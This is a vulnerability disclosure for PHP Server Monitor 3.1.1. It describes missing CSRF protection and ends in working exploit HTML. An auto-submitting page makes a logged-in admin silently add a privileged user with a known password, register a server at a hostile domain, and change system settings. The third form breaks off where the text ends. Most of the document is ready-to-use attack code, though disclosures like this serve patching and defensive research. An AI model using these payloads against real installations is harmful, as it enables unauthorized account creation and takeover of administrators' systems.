Product:
================================
PHP Server Monitor 3.1.1


Vulnerability Type:
=================================
Cross site request forgery (CSRF)




Vulnerability Details:
=====================

Multiple CSRF issues in PHP Server Monitor allow remote attackers to add arbitrary users & servers to the system, modify system configurations
and delete arbitrary servers, if user (admin) is logged in and visits our malicious website or clicks on our infected linxs. As no CRSF protection is
used in the application, we can make request on the victims behalf an the server will happily oblige processing our malicous HTTP requests.




Exploit code(s):
===============

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>


1) add arbitrary users to the system:

<form id="HELL" action="http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0"; method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="20">
<input type="text" name="password" value="abc123">
<input type="text" name="password_repeat" value="abc123">
<input type="text" name="email" value="ghostofsin@xxxxxxxxx">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form> 



2) add arbitrary servers to the system:

<form id="HELL" action="http://localhost/phpservermon-3.1.1/?&mod=server&action=save&id=0&back_to="; method="post">
<input type="text" name="label" value="HELL" >
<input type="text" name="ip" value="malicious-domain.hell">
<input type="text" name="type" value="service">
<input type="text" name="port" value="666">
<input type="text" name="pattern" value="">
<input type="text" name="warning_threshold" value="1">
<input type="text" name="timeout" value="">
<input type="text" name="active" value="yes">
<input type="text" name="email" value="yes">
<input type="text" name="sms" value="yes">
<input type="text" name="pushover" value="yes">
</form>


3) modify system configuration:

<form id="HELL" action="http://localhost/phpservermon-3.1.1/index.php?mod=config&action=save"; method="post">
<input type="text" name="language" value="en_US" >
<input type="text" name="show_update%5B%5D=" value="on">
<input type="text" name="auto_refresh_servers" value="0">
<input type="text" name="alert_type" value="status">
<input type="text" name="log_status%5B%5D" value="on">
<input type="text" name="log_retention_period" value="1">
